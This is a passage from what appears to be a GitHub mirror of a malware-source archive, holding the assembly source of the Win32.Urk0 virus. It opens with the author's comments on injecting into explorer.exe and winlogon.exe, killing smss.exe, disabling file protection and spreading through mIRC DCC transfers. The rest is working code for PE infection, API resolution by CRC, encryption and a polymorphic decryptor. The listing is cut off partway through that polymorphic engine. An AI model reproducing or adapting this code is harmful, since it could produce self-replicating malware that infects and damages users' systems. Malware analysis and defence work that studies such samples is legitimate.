13
1
mirror of https://github.com/vxunderground/MalwareSourceCode synced 2024-06-16 12:08:36 +00:00
vxug-MalwareSourceCode/Win32/Win32.Urk0.asm
2020-10-10 22:09:34 -05:00

3211 lines
82 KiB
NASM
Raw Blame History

;THIS IS A VIRUS SOURCE CODE.NOW,THIS FILE ITS NOT DANGER.IM NOT RESPONSABLE OF DAMAGES
;IN CASE YOU COMPILE AND LINK IT TO CREATE A EXECUTABLE.THIS CODE IS ONLY FOR ENTERTAIMENT
;AND EDUCATION.
;I KNOW THIS CODE COULD TO HAVE (AND IM 99% SURE IT HAS) BUGS. I CODED IT ONLY FOR
;FUN, I NO WANT THIS VIRUS INFECTED COMPUTERS UNLESS YOU DID IT FOR UR ELECTION SO
;IM NOT REALLY WORRIED COZ THIS VIRUS IS NOT DONE FOR CORRUPT A SYSTEM.
;
;win32.Urk0 (Lady Marian 3)
;This is a Win32 virus.
;
;Win9x:
;It uses a method that i havent seen in other viruses.Second part of virus(where it
;polymorphs decryptor,infects,...) is descrypted and copied directly to other process
;that previously it creates(ill try it was a process created from a random file but for
;now it do it with explorer.exe) suspended.Then it unprotect mem of primary module of
;process with VirtualProtectEx and overwrite process mem with its code since entrypoint
;of new process.Then we reanude thread of created process so virus is executed in other
;process.This can be made MAX_DEPTH times.Explorer creates other process and inject there
;its code,and again and again and again...for MAX_DEPTH times.
;I think this difficults emulation and debugging.In addition if a
;memory monitor detects a virus behaviour in memory it detects virus as other file
;(for now explorer.exe).
;Note virus never infects explorer.exe in disk,only in memory,so if virus is searched in
;explorer.exe it is not found.In addition when i create new process i pass
;CREATE_NEW_PROCESS_GROUP flag so new process is created without father...
;suppostly there isnt relation between creator process and new process.
;In addition when virus is executing in explorer.exe it calls to RegisterServiceProcess
;so user doesnt see two explorer.exe in task list.
;With this method we return the control to host fastly becoz slow part of virus is executed
;currently with host becoz it is executing in explorer.exe where we are injected our code.
;First part of virus is encrypted.Decryptor is polimorphed.Key is changed with each generation.
;Polymorphic engine its not very complex.It interchanges registers used and inserts
;trash instructions.Trash uses recursively itself so we can find trash in this manner:
;
;xor reg32a,imm32a___
;add reg32b,imm32b_ |
;cli | |
;clc | |
;sub reg32b,imm32b_| |
;cli |
;cpuid |
;... |
;xor reg32a,imm32a___|
;...
;
;I wanna do it better with a v2.0 of the virus :P
;Second part is encrypted with random key.Decryptor its not poly.However,virus doesnt
;modify its code directly becoz it,while is injecting code to explorer.exe,is
;unencrypting bytes before injecting.
;It uses EPO method too.Insert a jmp(and ill insert some antidebugging trickz too)
;in entrypoint of infected file(later it restores bytes overwrited).
;Apis are gotten by CRC.
;For infection it adds itself at end of last section.Increase size of file infected.
;It only infects .exe files.
;For now Urk0 doesnt have payload(i dont know if i ll add it :-m )
;In addition Urk0 has two manners of infection.It can infect files with explorer code
;encrypted or withouth encrypting.If it isnt encrypted it have per-process characteristics.
;It works in the same manner but in addition it hooks CreateFileA api.
;It always infects mirc.exe file with per-process characteristics becoz mirc.exe use
;CreateFileA to open files that it will send(with dcc) so ill infect files before sending
;and in this manner virus will arrive other computer ;)(With mirc.exe and others similar).
;If you read this code you will see i have spend a lot of bytes that i could have not
;spend it,becoz for now i have not optimizated the code.I must optimizate it and
;optmizate poly engine.
;Structure of code:
;
; --------------------------------------SVirus
; -----------------------SCode
; (Entry point 2)
; Code executed
; after injecting
; in explorer.exe
; Encrypted with random.
; Note if this part is
; not encrypted some code
; here can be executed
; before injecting to
; explorer for
; perprocess propose
; -----------------------ECode
; (Entry point 1)
; Decryptor of code since
; Encrypted to EVirus
; -----------------------Encrypted
; Here it creates process
; explorer.exe and injects
; code(unencrypting SCode
; to ECode at same time it
; write each dword) to
; explorer.exe since entry
; point of it.When it has
; injected the code it reanude
; explorer and infection part
; and others important parts
; are executed in explorer.exe
; process.
; Later it restore for EPO
; overwrited bytes and jmp
; to host
; --------------------------------------EVirus
;
;WinNT:
;In NT machines virus works in a manner very different.In Nt,virus will try to get a
;handle to winlogon.exe with full privileges,using a flaw in dbgss implemented in smss.exe
;(you can see debploit flaw in august archives,Nt focus,www.securiteam.com).Using this flaw
;we inject our code in winlogon.Note that with this flaw we have a problem,when we try to get
;a handle to winlogon with debploit method,winlogon will terminate when our program
;terminate too,becouse our program set as debugger of winlogon,and winlogon as debuggee,
;so if we attach winlogon,when we terminate,it will terminate too.For this reason,winlogon
;code will kill smss.exe.Ok,this is a dramatic solution,however i think system will work
;very well without smss.exe.Smss.exe loads winlogon.exe and user mode part of win32 ss
;in memory,and when system hangs,it takes control and show typical blue screen.In addition,
;it have implemented dbgss so if we kill it,a lot of debugger will not run(mmm...is this a
;problem??? ;).I was working a lot of time in my system with smss.exe terminated and i think
;my system worked perfectly(i wasnt be able to use debuggers...only softice).
;well,when winlogon code kills smss.exe,it disables sfp with ratter and benny method(29a
;number 6).Later it gets a handle to explorer and injects the code there.In explorer,
;virus will infect current folder of explorer.exe in intervals of 60 seconds.
;Note virus use ModuleBase + 28h for infection mark.At this offset there are 5 reserved dwords
;in dos header.I think to put infection mark in this field is a few lame :P ... i could
;to have put it in second field of time date stamp or with others methods but im not worry
;for infection mark.
;
;
;and that is all :)
;
;
;SORRY BECOZ MY ENGLISH LEVEL ITS VERY LOW SO I M SORRY IF YOU DONT UNDERSTAND SOME
;EXPRESSIONS THAT I USE BADLY.HOWEVER ILL TRY TO WRITE BETTER I CAN :)
;
;I MUST TO APOLOGIZE TOO COZ MY BADLY MANNER OF PROGRAMMING. MY CODE IS NOT OPTIMIZED
;FOR FAST AND NOT OPTIMIZED FOR SIZE :P . IN ADDITION THIS IS A CRAZY CODE :S
;REALLY,IF I HAD TO READ IT I WOULD BE VERY ANGRY WITH THE AUTHOR :P COZ PERHAPS THE CODE
;IS NOT VERY MUCH UNDERSTANDABLE. SORRY .
;
;
;THX TO:
;
;OF COURSE: <20> XEZAW ! My dear m3Nt0r - THX.exp 99 :) He shows with lot of pacience
;to this poor person (me) all i know. Ill never be able to pay u all u have done for me :)
;MsCorlib who always helps me too :) a half of this virus is your ;) You are other m3Nt0r
;for me. In addition u know all things that i ask u O_O u r a genius :)
;GriYo who always helps me too.Though not directly,you are a m3Nt0r for me too :) with
;your viruses.I love Dengue :),its a bible for me ;)
;Benny&Ratter,thx for that fantastic codes as Joss,ketamine,dob,all ratter's articles
;about windows, sfc disable :) and all all all ;) thx.
;My good friends VirusBust,ViR[-_-],isotope,Pato,Nightmare
;_HangMan_ & Oyzzo ;) my dear msdos lovers :D
;And all people in #asm,#win32asm,#win32,#ensamblador and #virus in irc hispano
;who helped me :)
;Well,i must put here a endless list of 'THX TO' becoz a lot of people have helped me,so
;ill only say thx all :*** and of course,if someone need me im here ;)
;And a infinitely 'THX TO' for LADY MARIAN: my Dark Angel,my Black Lotus,my Takhisys,
;my Queen Of Darkness,... :*******************************************************
;Who is Urko?
;Urko is a dog. Urko is one of my best friends. Urko is a fantastic dog becoz sometimes.....
;Urko SPEAKS! Urko is very timid and only speaks to me...and not always...urko only
;speaks when both,urko and me,we start to smoke that rare cigarretes that urko has. Then
;urko start to speak a lot of :) and we stay all night speaking,smoking and seeing films or
;playing trivial pursuit,or coding,or doing a lot of things :)
;Due this,i named this virus as win32.urk0 :)
.586p
.model flat,stdcall
extrn ExitProcess:proc
extrn GetLastError:proc
extrn GetTickCount:proc
extrn GetModuleHandleA:proc
extrn OpenProcess:proc
;macros
;;;;;;;;;;;;;;;;;;;;;;;
callz macro dir_call
db 0E8h
dd (dir_call - $ - 4)
endm
;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;
jmpz macro dir_call
db 0E9h
dd (dir_call - $ -4)
endm
;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;
CalcLenString macro
local loopin
push esi
dec esi
loopin:
inc esi
cmp byte ptr[esi],0
jne loopin
mov ecx,esi
pop esi
sub ecx,esi
endm
;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;
GezApi macro BaseKernel,ApiCRC,ApiNameLen
mov eax,BaseKernel
mov edx,ApiCRC
mov ebx,ApiNameLen
callz GetApi
endm
;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;
GezSyscall macro BaseNtdll,ApiCRC,ApiNameLen
GezApi BaseNtdll,ApiCRC,ApiNameLen
mov eax,[eax + 1]
endm
;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;
syscallz macro fc,paramz ;from Ratter's win2k.Joss
mov eax,fc
lea edx,[esp]
int 2eh
add esp,(paramz*4)
endm
;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;
Writez macro BaseKernel,hProcess,OffsetInProc,Buffer,Size
push 0
mov [esp],esp ;for storing number of writted bytes
push Size
push Buffer
push OffsetInProc
push hProcess
GezApi BaseKernel,WriteMemoryProcessCRC,WMPNameLen
call eax
endm
;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;
Readz macro BaseKernel,hProcess,OffsetInProc,Buffer,Size
push 0
mov [esp],esp ;for storing number of read bytes
push Size
push Buffer
push OffsetInProc
push hProcess
GezApi BaseKernel,ReadMemoryProcessCRC,RMPNameLen
call eax
endm
;;;;;;;;;;;;;;;;;;;;;;;
.data
;some datas for first generation
kernel32dll db 'kernel32.dll',0
auxi dd 0
az db 'Sleep',0
azz db 'ContinueDebugEvent',0
.code
start:
;vvvvvvvvvvvvvvvvvvvFIRST GENERATION CODE
jmpz jmpedSize
db '*Virus size'
virSize = EVirus - SVirus
db 0
dw virSize and 0FF00h
db virSize and 00FFh
db 0
jmpedSize:
;for getting apis crcs:
lea esi,az
CalcLenString
mov edi,ecx
call CRC32
lea esi,azz
CalcLenString
mov edi,ecx
call CRC32
;i unprotect code:
push offset kernel32dll
call GetModuleHandleA
push eax
mov esi,offset SVirus
mov ecx,EVirus - SVirus
xor ebx,ebx
callz UnprotectMem
pop eax
mov [kernel],eax
pushad
xor ebp,ebp
;ill test poly
callz Poly
mov eax,[CryptKey]
mov auxi,eax
popad
;I crypt necesary parts
call GetTickCount
or eax,0FFFF0000h
mov ecx,((ECode - SCode)/4)-1
inc ecx
Cryptit:
dec ecx
xor dword ptr [SCode + 4*ecx],eax
or ecx,ecx
jnz Cryptit
mov eax,auxi
callz DkRyPtIt_
DkRyPtIt_:
pop esi
add esi,Encrypted - DkRyPtIt_
mov ecx,((EVirus - Encrypted)/4)
GoGoGo_:
xor dword ptr [esi + ecx*4 - 4],eax
dec ecx
or ecx,ecx
jnz GoGoGo_
jmpz MyEntryPoint
;^^^^^^^^^^^^^^^^^^^FIRST GENERATION CODE
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;vvvvvvvvvvvvvvvvvvvSECOND GENERATION
SVirus:
;APIS NAMES CRCS AND LENGHTS
LoadLibraryACRC equ 3fc1bd8dh
LLNameLen equ 12
CloseHandleCRC equ 0b09315f4h
CHNameLen equ 11
FindFirstFileACRC equ 0c9ebd5ceh
FFFNameLen equ 14
FindNextFileACRC equ 75272948h
FNFNameLen equ 13
FindCloseCRC equ 0d82bf69ah
FCNameLen equ 9
GetTickCountCRC equ 5b4219f8h
GTCNameLen equ 12
WriteMemoryProcessCRC equ 4f58972eh
WMPNameLen equ 18
ReadMemoryProcessCRC equ 0f7c7ae42h
RMPNameLen equ 17
ResumeThreadCRC equ 3872beb9h
RTNameLen equ 12
ExitProcessCRC equ 251097CCh
EPNameLen equ 11
SetFileAttributesACRC equ 156b9702h
SFANameLen equ 18
CreateFileACRC equ 553b5c78h
CFNameLen equ 11
CreateFileMappingACRC equ 0b41b926ch
CFMNameLen equ 18
MapViewOfFileCRC equ 0A89b382fh
MVFNameLen equ 13
UnmapViewOfFileCRC equ 391ab6afh
UVFNameLen equ 15
SetFileTimeCRC equ 21804a03h
SFTNameLen equ 11
GetModuleHandleACRC equ 0B1866570h
GMHNameLen equ 16
GetLastErrorCRC equ 0d2e536b7h
GLENameLen equ 12
RegisterServiceProcessCRC equ 3b5ef61fh
RSPNameLen equ 22
SetCurrentDirectoryACRC equ 69b6849fh
SCDNameLen equ 20
GetCurrentDirectoryACRC equ 0c79dc4e3h
GCDNameLen equ 20
GetWindowsDirectoryACRC equ 0fff372beh
GWDNameLen equ 20
GetModuleFileNameACRC equ 08bff7a0h
GMFNameLen equ 18
CreateProcessACRC equ 0a851d916h
CPNameLen equ 14
Module32FirstCRC equ 38891c00h
M32FNameLen equ 13
Module32NextCRC equ 0f6911852h
M32NNameLen equ 12
CreateToolhelp32SnapShotCRC equ 0c1f3b876h
CT32SNameLen equ 24
VirtualProtectExCRC equ 5d180413h
VPNameLen equ 16
GetCurrentProcessCRC equ 0d0861aa4h
GCPNameLen equ 17
OpenProcessTokenCRC equ 0f9c60615h
OPTNameLen equ 16
LookupPrivilegeValueACRC equ 0da87bf62h
LPVNameLen equ 21
AdjustTokenPrivilegesCRC equ 0de3e5cfh
ATPNameLen equ 21
EnumProcessesCRC equ 0509a21ch
EPSNameLen equ 13
EnumProcessModulesCRC equ 0dea82ac2h
EPMNameLen equ 18
GetModuleInformationCRC equ 0f2a84636h
GMINameLen equ 20
SuspendThreadCRC equ 0bd76ac31h
STNameLen equ 13
FreeLibraryCRC equ 0da68238fh
FLNameLen equ 11
GetVersionCRC equ 4ccf1a0fh
GVNameLen equ 10
RasDialACRC equ 0b88da156h
RDNameLen equ 8
GetModuleBaseNameACRC equ 1720513eh
GMBNNameLen equ 18
OpenProcessCRC equ 0df27514bh
OPNameLen equ 11
ZwConnectPortCRC equ 0cbaec255h
ZCPNameLen equ 13
NtConnectPortCRC equ 0c88edce9h
NCPNameLen equ 13
ZwRequestPortCRC equ 0e28aebd1h
ZRPNameLen equ 13
DbgUiConnectToDbgCRC equ 09a51ac3ah
DUCTDNameLen equ 17
DbgSsInitializeCRC equ 0d198b351h
DSINameLen equ 15
DbgSsHandleKmApiMsgCRC equ 2e9c4e99h
DSHKAMNameLen equ 19
GetCurrentProcessIdCRC equ 1db413e3h
GCPINameLen equ 19
GetCurrentThreadIdCRC equ 8df87e63h
GCTINameLen equ 18
WaitForDebugEventCRC equ 96ab83a1h
WFDENameLen equ 17
ContinueDebugEventCRC equ 0d8e77e49h
CDENameLen equ 18
VirtualAllocExCRC equ 0e62e824dh
VANameLen equ 14
CreateRemoteThreadCRC equ 0ff808c10h
CRTNameLen equ 18
NtTerminateProcessCRC equ 94fcb0c0h
NTPNameLen equ 18
ExitThreadCRC equ 80af62e1h
ETNameLen equ 10
GetCurrentDirectoryWCRC equ 334971b2h
GCDWNameLen equ 20
FindFirstFileWCRC equ 3d3f609fh
FFFWNameLen equ 14
SleepCRC equ 0CEF2EDA8h
SNameLen equ 5
Kernel32CRC equ 204c64e5h ;CRC of 'kernel32' string
ERROR_NO_MORE_FILES equ 18
PAGE_EXECUTE_READWRITE equ 40h
MEM_COMMIT equ 00001000h
MEM_RESERVE equ 00002000h
STARTUPINFOSIZE equ 68
PROCESSINFORMATIONSIZE equ 16
CREATE_SUSPENDED equ 4
DEBUG_PROCESS equ 1
CREATE_NEW_PROCESS_GROUP equ 200h
TH32CS_SNAPMODULE equ 8
SNAPSHOT equ 16
;config constants
MAX_DEPTH equ 1 ;min depth,for now
INFECTION_PROBABILITY equ 8 ;values 0 - 7...if value > 7 always infects.If 0 never.
PER_PROCESS_PROBABILITY equ 8 ;values 0 - 7...if value > 7 never infects with per-process
;characteristic.If 0 always with per-process.
WORK_IN_NT equ 1 ;if WORK_IN_NT == 1,virus works in NT and try to do
;some specifics things for NT.If 0,virus exits if NT.
SCode:
;when we infect in memory the explorer process injecting our code the execution begins here
;This code is encrypted with random key each 4 bytes
callz d_offsetz ;first byte is E8000000h when uncrypted
d_offsetz:
pop ebp
sub ebp,offset d_offsetz
pop eax
push eax
xor ax,ax
add eax,1000h
;eax -> a part of kernel32
SearchKernelz:
sub eax,1000h
cmp word ptr [eax],'ZM'
jne SearchKernelz
mov [ebp + kernel],eax
;we set our process as service process.
push eax
GezApi eax,RegisterServiceProcessCRC,RSPNameLen
push 1
push 0
call eax
pop eax
;we will setup a SEH frame and if a error occurs nobody know it :D
lea esi,[ebp + ExplorerEnd]
push esi
push dword ptr fs:[0]
mov fs:[0],esp ;we set the SEH frame
;note its not necessary our handler
;restore SEH becoz we will terminate
;the process
;we repeat the process of injection of code in explorer MAX_DEPTH times.When we have loaded
;and infected explorer at MAX_DEPTH time then it's executed file infection zone.
;I think it will be more difficult for avs with this trap.
cmp dword ptr [ebp + ExplorerDepth],MAX_DEPTH
je Explorer2
add dword ptr [ebp + ExplorerDepth],1
callz InjectToExplorer
GezApi eax,ExitProcessCRC,EPNameLen
push 0
call eax
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;This code is executed in the last explorer.exe what we have injected our code
Explorer2:
;eax = Base of Kernel
;ebp = d_offset
mov dword ptr [ebp + ExplorerDepth],0 ;this is the last explorer injection
;now ill infect all files .exe in Current folder
callz InfectCurrentFolder
ExplorerEnd:
callz DoffEnd
DoffEnd:
pop ebp
sub ebp,offset DoffEnd
mov eax,[ebp + kernel]
;eax = kernel base
GezApi eax,ExitProcessCRC,EPNameLen
push 0
;eax -> ExitProcess
call eax
;;;;;;;;;;;;;;;;;;;;;;
kernel dd 0
CryptKey dd 0
ExplorerDepth dd 0
FILETIME struct
FT_dwLowDateTime dd ?
FT_dwHighDateTime dd ?
FILETIME ends
WIN32_FIND_DATA:
WFD_dwFileAttributes dd ?
WFD_ftCreationTime FILETIME <?>
WFD_ftLastAccessTime FILETIME <?>
WFD_ftLastWriteTime FILETIME <?>
WFD_nFileSizeHigh dd ?
WFD_nFileSizeLow dd ?
WFD_dwReserved0 dd ?
WFD_dwReserved1 dd ?
WFD_szFileName db 260 dup (?)
WFD_szAlternateFileName db 16 dup (?)
;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
;InfectCurrentFolder infects files with mask in files variable in current folder
;in:
; none
;out:
; none
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
InfectCurrentFolder:
callz Poly ;we poly the decryptor overwriting code with new decryptor for
;the moment when we will infect a file
;here begins zone where we will infect files
;if all things are in order,current directory for memory-infected explorer
;is the same as file.exe that contains virus.
lea eax,[ebp + WIN32_FIND_DATA]
push eax
lea eax,[ebp + files]
push eax
mov eax,[ebp + kernel]
GezApi eax,FindFirstFileACRC,FFFNameLen
call eax
mov [ebp + SearchHand],eax
jmpz TestTypeOfInfection
MoreFiles: ;)
callz Poly ;poly again so each infected file will be different
lea eax,[ebp + WIN32_FIND_DATA]
push eax
push dword ptr [ebp + SearchHand]
mov eax,dword ptr [ebp + kernel]
GezApi eax,FindNextFileACRC,FNFNameLen
call eax
TestTypeOfInfection:
or eax,eax
je EndCurrentFolderInfection
mov eax,[ebp + kernel]
GezApi eax,GetTickCountCRC,GTCNameLen
call eax
and eax,7
cmp eax,INFECTION_PROBABILITY ;probability of infection.By default always.
jge MoreFiles
mov eax,[ebp + kernel]
GezApi eax,GetTickCountCRC,GTCNameLen
call eax
mov ecx,eax
mov ebx,eax
rol ebx,cl
and ebx,7
xor eax,eax
cmp ebx,PER_PROCESS_PROBABILITY ;probability of per-process.By default never.
jge WithPerProcess
inc eax
WithPerProcess:
push eax
callz TestFile
or eax,eax
jnz PerProcessOrNoInfect
pop eax
GoInfectIt:
callz InfectIt
jmpz MoreFiles
PerProcessOrNoInfect:
dec eax
or eax,eax
jz ForcePerProcess
;if no force perprocess and no normal,then -1 and no infect so more files
pop eax
jmpz MoreFiles
ForcePerProcess:
pop ebx
jmpz GoInfectIt
EndCurrentFolderInfection:
ret
;;;;;;;;;;;;;;;;;;;;;;;;
files db '*.exe',0
SearchHand dd 0
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
;InfectIt uses WIN_FIND_DATA for infecting file which information is contained in that struc
;in:
; eax = 0 without encryption(but with perprocess enable) eax = 1 with encryption(but
; no enabled perprocess)
;out:
; none
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
InfectIt:
mov [ebp + Encryption],eax
pushad
callz MapFile
or eax,eax
jz EndInfection
mov eax,[ebp + WFD_nFileSizeLow]
add eax,EVirus - SVirus
mov [ebp + FileInfectedSize],eax
mov ebx,[ebp + ViewHandle]
cmp word ptr [ebx],'ZM'
jne CloseAndBye
cmp word ptr [ebx + 8],4h
jne CloseAndBye
mov edi,[ebx + 3ch]
add edi,ebx
cmp word ptr [edi],'EP'
jne CloseAndBye
cmp word ptr [ebx + 28h],'Zv';my infection mark
je CloseAndBye
mov ax,[edi + 16h]
test ax,2 ;yes IMAGE_FILE_EXECUTABLE_IMAGE
je CloseAndBye
test ax,1000h ;no IMAGE_FILE_SYSTEM
jne CloseAndBye
test ax,2000h ;no IMAGE_FILE_DLL
jne CloseAndBye
mov ax,[edi + 5ch]
test ax,1 ;no IMAGE_SUBSYSTEM_NATIVE
jne CloseAndBye
;we have a file executable in PE format and not infected by this virus so ill continue
;with infection.In addition is not a system file.
mov edi,dword ptr [edi + 3ch];file alingment
mov dword ptr [ebp + FileAlignment],edi
AlignSize:
mov eax,[ebp + FileInfectedSize]
xor edx,edx
div edi
inc eax
;we divide size/alignment and inc result for knowing the new number of blocks
;and next we multiplicate number of blocks x size of block
mul edi
mov [ebp + WFD_nFileSizeLow],eax ;for in next mapping will be mapped file size + space for vir
callz CloseAll
callz MapFile ;with size to allocate virus
or eax,eax
jz EndInfection
;now we have file mapped with enought space at end of file to append there our virus ;)
mov ebx,[ebp + ViewHandle]
mov word ptr [ebx + 28h],'Zv';infection mark
mov eax,[ebx + 3ch];lfanew
add ebx,eax;ebx -> PE
mov eax,[ebx + 28h]
mov [ebp + OldEntryPoint],eax
xor eax,eax
mov ax,[ebx + 6];number of sections
mov [ebp + Sections],eax
xor eax,eax
mov ax,word ptr [ebx + 14h]
add ebx,18h
add ebx,eax
mov ecx,[ebp + Sections]
dec ecx
mov [ebp + FirstSection],ebx
LastSection:
add ebx,28h
loop LastSection
;we have ebx -> last section
mov [ebx + 24h],0A0000020h ;section is executable,readable,writable and with code
mov eax,[ebx + 10h];size of raw data
add eax,[ebx + 0ch];add size + RVA of section.
add eax,MyEntryPoint - SVirus
;eax = New Entry Point
sub eax,dword ptr [ebp + OldEntryPoint]
sub eax,EPOCodeSize
mov [ebp + EPOrel32],eax
mov eax,[ebx + 10h];size of raw data
add eax,[ebx + 14h];add size + pointer to raw data of section.We are in the end of last section
;We must copy there our code ;)
mov [ebp + EndLastSection],eax
mov esi,ebx
;now we must alignment section
mov eax,[esi + 10h];size of raw
add eax,EVirus - SVirus
mov edi,[ebp + FileAlignment]
xor edx,edx
div edi
inc eax
mul edi
mov [esi + 10h],eax;new sizeofrawdata
mov [esi + 8],eax;new VirtualSize
add eax,dword ptr [esi + 0ch];size + virtual address
mov ebx,[ebp + ViewHandle]
mov ecx,[ebx + 3ch];lfanew
add ebx,ecx;ebx -> PE
mov [ebx + 50h],eax;new size of image
EPOzone:
;well,we have modified executable for introducting our code.Here we can modify
;entry point for pointing to our code but i think EPO methods its more efective.
;first all i must search the entry point,but no when file is executing,i must search
;raw entry point,entry point in file.There i must copy EPOCode.
mov ecx,[ebp + Sections]
mov ebx,[ebp + FirstSection]
mov esi,[ebp + OldEntryPoint]
FindCodeSec:
mov eax,[ebx + 0ch]
add eax,[ebx + 10h];eax -> end of this section
cmp eax,esi
jg FoundCodeSec
add ebx,28h
loop FindCodeSec
FoundCodeSec:
;ebx ->header of section with entry point
sub esi,dword ptr [ebx + 0ch]
add esi,dword ptr [ebx + 14h];raw_e_point = e_point - VASection + PointerToRawDataSection
mov [ebp + OldRawEntryPoint],esi
add esi,[ebp + ViewHandle]
push esi
lea edi,[ebp + EPORestoreBytes]
mov ecx,EPOCodeSize
push ecx
rep movsb
pop ecx
pop esi
lea edi,[ebp + SEPOCode]
xchg esi,edi
rep movsb
;now we have copied bytes for EPO to entrypoint and old bytes to EPORestoreBytes for
;restoring when we return to host
;now we must copy virus code (encrypting necesary parts) to EndLastSection
mov edi,[ebp + EndLastSection]
add edi,dword ptr [ebp + ViewHandle]
push edi
lea esi,[ebp + SVirus]
mov ecx,EVirus - SVirus
rep movsb
mov eax,[ebp + kernel]
GezApi eax,GetTickCountCRC,GTCNameLen
call eax
pop edi
or eax,0FFFF0000h
cmp dword ptr [ebp + Encryption],0
jne YesEncrypt
xor eax,eax
YesEncrypt:
mov ecx,((ECode - SCode)/4)-1
inc ecx
CryptitExplorerCode:
dec ecx
xor dword ptr [edi + 4*ecx],eax
or ecx,ecx
jnz CryptitExplorerCode
add edi,Encrypted - SCode
mov eax,[ebp + CryptKey]
mov ecx,((EVirus - Encrypted)/4)-1
inc ecx
CryptitFirstCode:
dec ecx
xor dword ptr [edi + 4*ecx],eax
or ecx,ecx
jnz CryptitFirstCode
CloseAndBye:
callz CloseAll
EndInfection:
popad
ret
;;;;;;;;;;;;;;;;;;;;;;
FileHandle dd 0
MappingHandle dd 0
ViewHandle dd 0
FileInfectedSize dd 0
FileAlignment dd 0
Sections dd 0
FirstSection dd 0
EndLastSection dd 0
OldRawEntryPoint dd 0
Encryption dd 0
;;;;;;;;;;;;;;;;;;;;;;;;
SEPOCode:
db 0E9h ;rel jmp to our code
EPOrel32 dd 0
EEPOCode:
EPOCodeSize equ EEPOCode - SEPOCode
;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;
MapFile: ;it maps the file in WIN32_FIND_DATA
ChangeAttributesOfFile:
lea edi,[ebp + WFD_szFileName]
push 80h
push edi
mov eax,[ebp + kernel]
GezApi eax,SetFileAttributesACRC,SFANameLen
call eax
push 0
push 0
push 3
push 0
push 1
push 0C0000000h ;read and write access to file
lea eax,[ebp + WFD_szFileName]
push eax
mov eax,[ebp + kernel]
GezApi eax,CreateFileACRC,CFNameLen
call eax
inc eax
or eax,eax
jnz np1
ret
np1:
dec eax
mov [ebp + FileHandle],eax
push 0
mov eax,[ebp + WFD_nFileSizeLow]
push eax
push 0
push 4
push 0
push dword ptr [ebp + FileHandle]
mov eax,[ebp + kernel]
GezApi eax,CreateFileMappingACRC,CFMNameLen
call eax
or eax,eax
jz CloseFile
mov [ebp + MappingHandle],eax
push dword ptr [ebp + WFD_nFileSizeLow]
push 0
push 0
push 000F001Fh
push eax
mov eax,[ebp + kernel]
GezApi eax,MapViewOfFileCRC,MVFNameLen
call eax
or eax,eax
jz CloseMapping
mov [ebp + ViewHandle],eax
ret
;;;;;;;;;;;;;;;;;;;;;;
CloseAll:;close file opened with MapFile
push eax
mov eax,[ebp + kernel]
GezApi eax,UnmapViewOfFileCRC,UVFNameLen
push dword ptr [ebp + ViewHandle]
call eax
pop eax
CloseMapping:
push eax
mov eax,[ebp + kernel]
GezApi eax,CloseHandleCRC,CHNameLen
push dword ptr [ebp + MappingHandle]
call eax
pop eax
CloseFile:
RestoreAttributes:
push eax
lea eax,dword ptr [ebp + WFD_ftLastWriteTime]
push eax
lea eax,dword ptr [ebp + WFD_ftLastAccessTime]
push eax
lea eax,dword ptr [ebp + WFD_ftCreationTime]
push eax
push dword ptr [ebp + FileHandle]
mov eax,[ebp + kernel]
GezApi eax,SetFileTimeCRC,SFTNameLen
call eax
mov eax,[ebp + kernel]
GezApi eax,CloseHandleCRC,CHNameLen
push dword ptr [ebp + FileHandle]
call eax
pop eax
ret
;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
;Poly creates a decryptor rutine overwriting code since MyEntryPoint to Encrypted
;
;in:
; none
;out:
; none
;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Poly:
pushad
mov eax,[ebp + kernel]
GezApi eax,GetTickCountCRC,GTCNameLen
call eax
mov [ebp + CryptKey],eax
lea edi,[ebp + MyEntryPoint]
mov ecx,eax
and ecx,0000003Fh
push eax;random
and eax,00000007h
cmp al,4
jne noesp1
inc eax
noesp1:
mov [ebp + esireg],eax
pop eax;random
push eax
ror eax,4
and eax,00000007h
cmp al,4
jne noesp2
inc eax
noesp2:
cmp eax,dword ptr [ebp + esireg]
jne nosame
inc eax
cmp al,4
